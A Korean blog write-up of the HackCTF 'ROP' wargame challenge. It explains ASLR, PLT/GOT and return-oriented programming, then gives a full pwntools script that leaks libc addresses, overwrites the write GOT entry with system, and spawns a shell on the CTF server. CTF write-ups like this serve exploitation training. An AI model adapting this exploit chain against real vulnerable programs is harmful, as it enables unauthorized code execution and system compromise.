wargame/HackCTF

[HackCTF] ROP | write up

$1m0hYa 2019. 8. 29. 23:11

안녕하세요! 오늘은 HackCTF ROP writeup을 써볼겁니다!

 

ROP( Return Oriented Programming ) 는 프로그램에 ASLR이 걸려있을때 활용하는 해킹 기법입니다.

 

RTL 그리고 GOT overwriteR를 이용하여 프로그램을 내맘대로 실행하게 하는 기법이에요

 

프로그램이 실행되고 있는데 중간에 ROP를 사용하면 내가 원하는 함수를 원하는 인자로 넣고 실행 시킬수 있어요!

 

일단 문제를 확인해 볼게요!

오오! 여기 보시면 rop.zip을 주었네요?

 

한번 다운해서 확인해볼게요

바이너리 파일과 libc.so.6을 제공해 주었네요?

 

libc.so.6을 줬다는건 이 라이브러리 소스를 이용해 offset 즉 상대주소를 이용해서 함수의 위치를 구하라는 얘기입니다.

 

사실 프로그램마다 사용하는 사용하는 공유라이브러리가 다를수 있기때문에 올바른 offset을 구하게 하기위해서는 libc소스파일이 있어야합니다.

 

그래서 이런 문제에 libc소스가 있으면 offset을 구하는 ROP를 항상 의심해봐야 한답니다^^

 

그럼 일단 표층분석을 해보겠습니다.

NX가 활성화 되어있는걸 보아서 쉘코드 활용은 불가능 합니다.

libc.so.6에는 aslr이 걸려있네요.

 

aslr은 실행할때마다 주소가 랜덤으로 바뀌는것을 말합니다!

 

그럼 ida로 한번 보겠습니다.

main함수를 보니까 vulnerable_function함수를 실행하네요.

vulnerable_function 함수가 저한테 이렇게 말하고 있어요.

 

(어서 나한테 ROP를 사용하란 말이다!)

좋다! ROP를 활용해주지

 

그전에 알아두어야할 두가지! 바로 PLT와 GOT인데요,

 

자세한 내용은 다음에 한번 더 다룰것이니 간단하게 설명드리겠습니다.

 

일단 알아두어야 할것은 linker인데요, linker은 다른 라이브러리와 연결해 줍니다!

 

내가 코드를 짰을때 그 코드에 포함되어있는 함수를 공유라이브러리에 linker를 합니다

 

그렇게되면 plt와 got라는것이 생기는 데요, plt에는 got의 주소가 있고 got에는 실제 함수의 주소가 쓰여져 있습니다!

 

그래서 다른 라이브러리에 linker되어있는 함수를 사용하기 위해서는 무조건 plt를 실행시켜 주어야 합니다!

 

그러면 plt -> got -> 실제함수 주소 로 이동하게 될것이니까요.

 

그리고 아까전에 libc.so.6 에 aslr이 걸려있다고 했는데,

 

함수의 주소가 바뀌더라도 그 함수사이의 상대적인 거리는

변하지 않으니, 그것을 이용해 내가 원하는 함수의 주소를 구할수 있을것입니다!

 


이제 계획을 한번 짜보겠습니다 ㅎㅎ

--- 시나리오 ---

  1. 먼저 어떤 함수의 실제주소를 출력해준다.
  2. 그 함수의 주소에서 offset주소를 빼서 libc의 base주소를 구한다.
  3. 그리고 libc의 base주소에서 system주소의 offset을 더하여 system주소의 실제주소를 구한다.
  4. 그리고 그 system주소를 아무 함수 got에 overwrite해버린다.
  5. 중간에 bss주소에 /bin/sh를 입력해준다.
  6. overwrite당한 함수의 plt를 실행시키면 system함수가 실행!
  7. 이때 인자를 bss로 넣어주면 /bin/sh가 들어가니까?? 끝!

------------------

그럼 제가 짠 python 코드를 보여드리겠습니다!


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
 
context.log_level="debug"
 
= remote('ctf.j0n9hyun.xyz'3021)
= ELF('./rop')
libc = ELF('./libc.so.6')
 
write_plt = e.plt['write']
read_plt = e.plt['read']
write_got = e.got['write']
 
write_off = libc.symbols['write']
system_off = libc.symbols['system']
 
sh = '/bin/sh\x00'
 
pppr = 0x08048509
 
bss = e.bss() + 0x100
 
pay = 'a' * (0x88+4)
pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(write_got)
pay += p32(4)
 
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(bss)
pay += p32(8)
 
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(write_got)
pay += p32(4)
 
pay += p32(write_plt)
pay += 'aaaa'
pay += p32(bss)
 
p.sendline(pay)
 
write_got = u32(p.recv(4))
base = write_got - write_off
system = base + system_off
print "0x%x" % system
 
p.sendline(sh + p32(system))
 
p.interactive()
cs

 

아직 설명을 못한 부분이 너무 많지만 다음에 ROP를 다루는 편에서 자세히 설명드리겠습니다!

 

자 일단 실행해볼까요??

깔쌈하게 CLEAR!!